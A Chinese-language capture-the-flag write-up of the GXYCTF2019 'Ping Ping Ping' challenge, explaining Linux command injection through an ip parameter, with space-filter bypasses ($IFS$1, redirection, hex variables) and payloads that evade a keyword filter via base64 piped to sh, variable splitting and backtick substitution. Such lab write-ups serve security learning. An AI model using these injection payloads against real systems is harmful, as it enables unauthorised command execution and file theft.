[GXYCTF2019]Ping Ping Ping 1

发布时间 2024-01-10 17:59:00作者: follycat

[GXYCTF2019]Ping Ping Ping 1

审题

  1. 由标题和内容,我们可以想到Linux的命令执行

  2. 并且由内容/?ip=,看出用GET注入ip变量来读取flag

    image-20240110114925168

知识点

Linux的命令执行,空格的绕过

知识点详解

在Linux中,竖线符号 "|" 和分号符号 ";" 具有不同的作用。

  1. 竖线符号 "|" (管道符号): 在Linux命令行中,竖线符号 "|" 用于将一个命令的输出作为另一个命令的输入。通过使用管道符号,可以将多个命令连接起来,实现数据流的传递和处理。

    例如:

command1 | command2

这将会将 command1 的输出作为 command2 的输入,从而实现两个命令之间的数据传递和处理。

管道符号的作用是实现命令的组合和协作,常用于对命令的输出进行过滤、排序、统计等操作。

分号符号 ";" : 在Linux命令行中,分号符号 ";" 用于分隔多个命令,使它们依次执行。

例如:

  1. command1 ; command2 ; command3
    

    这将会按照顺序执行 command1command2command3,每个命令之间使用分号进行分隔。

    分号符号的作用是允许在一行命令中连续执行多个命令,无论前一个命令是否成功执行,都会继续执行后续的命令。

需要注意的是,在使用这些符号时,应根据具体的需求和命令语法进行正确的使用,以确保命令的执行效果符合预期。

空格被过滤时

{cat,flag.txt}
cat${IFS}flag.txt
cat$IFS$1flag.txt
cat<flag.txt
cat<>flag.txt
kg=$'\x20flag.txt'&&cat$kg
(\x20转换成字符串就是空格,这里通过变量的方式巧妙绕过)

解题

  1. 先使用127.0.0.1判断回显是否正常

image-20240110171248325

  1. 使用Linux命令,查看当前目录下的所有文件

image-20240110171348672

  1. 使用cat命令抓取flag

image-20240110171536217

  1. 发现空格被过滤后,绕过空格,经过尝试使用$IFS$1绕过,但又发现flag被过滤。

image-20240110171734141

  1. 绕过flag有几种方法

一,base64绕过

cat flag.php通过base64加密后可以构造出

echo$IFS$1Y2F0IGZsYWcucGhwCg==|base64$IFS$1-d|sh

执行后查看源码得到答案。

二,shell定义变量

因为题目过滤了flag所以将ag用一个变量代替可以绕过

1;b=ag;cat$IFS$1fl$b.php

同样查看源码得到答案

三,在shell中``中的返回值会被当成命令执行

1;cat$IFS$1`ls`

所以上面的命令可以看成,cat出当前目录的所有文件。

就是,cat flag.php和index.php,得到flag。

image-20240110173140016